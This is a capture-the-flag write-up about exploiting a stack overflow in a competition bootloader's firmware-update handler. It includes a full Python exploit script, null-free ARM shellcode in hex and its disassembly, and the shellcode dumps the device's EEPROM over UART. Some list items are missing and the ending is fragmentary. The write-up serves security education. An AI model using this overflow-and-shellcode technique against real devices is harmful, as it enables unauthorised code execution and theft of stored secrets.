The bug is in handle_update()
in bootloader.c
:
// Receive release message
rel_msg_size = uart_readline(HOST_UART, rel_msg) + 1; // Include terminator
uart_readline()
will continue to read data until a null byte or newline is encountered, allowing us to write unlimited data to the stack.
Two other issues that aid in exploitation are:
To gain arbitrary code execution, we can:
We initially tried jumping to the shellcode in SRAM, but since SRAM adresses are of the form
0x2000????
, which contains a null byte, we were not able to do so.
Out script is shown below:
import subprocess
import pwn
with open("firmware/fw_v0.prot", "rb") as f:
fw = f.read()
shellcode = bytes.fromhex("684681ea010182ea020202f2ff3202f2014247f694630ff2060e0ef1030e9f4644f244424fea02724cf2010121f0ff0142ea01010846694682ea020202f2ff3202f2014247f2e4239f46")
payload = shellcode
payload += pwn.cyclic((1024 + 24) - len(payload))
shellcode_addr = 0x2B408 # Address of the release message in flash
payload += pwn.p32(shellcode_addr + 1)
orig_release_message = b"Debug firmware version 0"
fw = fw.replace(orig_release_message, payload)
with open("firmware/fw_v0_exploit.prot", "wb") as f:
f.write(fw)
# Modify the `fw-update` command to read 2048 bytes of data afterwards, which
# is the device's EEPROM
cmd = """python3 tools/run_saffire.py fw-update \
--sysname saffire-phys \
--fw-root firmware/ \
--uart-sock 1339 \
--protected-fw-file fw_v0_exploit.prot
"""
subprocess.run(cmd, shell=True)
The goal of our shellcode is to read EEPROM data and send it back to us over uart.
0x0000000000000000: 68 46 mov r0, sp
0x0000000000000002: 81 EA 01 01 eor.w r1, r1, r1
0x0000000000000006: 82 EA 02 02 eor.w r2, r2, r2
0x000000000000000a: 02 F2 FF 32 addw r2, r2, #0x3ff
0x000000000000000e: 02 F2 01 42 addw r2, r2, #0x401
0x0000000000000012: 47 F6 94 63 movw r3, #0x7e94
0x0000000000000016: 0F F2 06 0E addw lr, pc, #6
0x000000000000001a: 0E F1 03 0E add.w lr, lr, #3
0x000000000000001e: 9F 46 mov pc, r3
0x0000000000000020: 44 F2 44 42 movw r2, #0x4444
0x0000000000000024: 4F EA 02 72 lsl.w r2, r2, #0x1c
0x0000000000000028: 4C F2 01 01 movw r1, #0xc001
0x000000000000002c: 21 F0 FF 01 bic r1, r1, #0xff
0x0000000000000030: 42 EA 01 01 orr.w r1, r2, r1
0x0000000000000034: 08 46 mov r0, r1
0x0000000000000036: 69 46 mov r1, sp
0x0000000000000038: 82 EA 02 02 eor.w r2, r2, r2
0x000000000000003c: 02 F2 FF 32 addw r2, r2, #0x3ff
0x0000000000000040: 02 F2 01 42 addw r2, r2, #0x401
0x0000000000000044: 47 F2 E4 23 movw r3, #0x72e4
0x0000000000000048: 9F 46 mov pc, r3
This shellcode makes a call to EEPromRead
(at 0x7e94), followed by a call to uart_write
(at 0x72e4). It was difficult to remove all of the null bytes from the shellcode. For example, we could not use regular indirect branch wth lr
instructions (blr x3
) since they contain a null byte. Instead, we manually set lr
and then do the jump using mov pc, r3
. We also have to obfuscate constants that would otherwise have a null byte in them (e.g. 0x800). The sequence is equivalent to:
EEPromRead(<stack address>, 0, 0x800)
uart_write(0x4000c000, <stack address>, 0x800)
After dumping EEPROM from the device, getting the flags was relatively straightforward.
cfg0.bin
, protected it, and loaded it onto the device. This caused the flight to abort.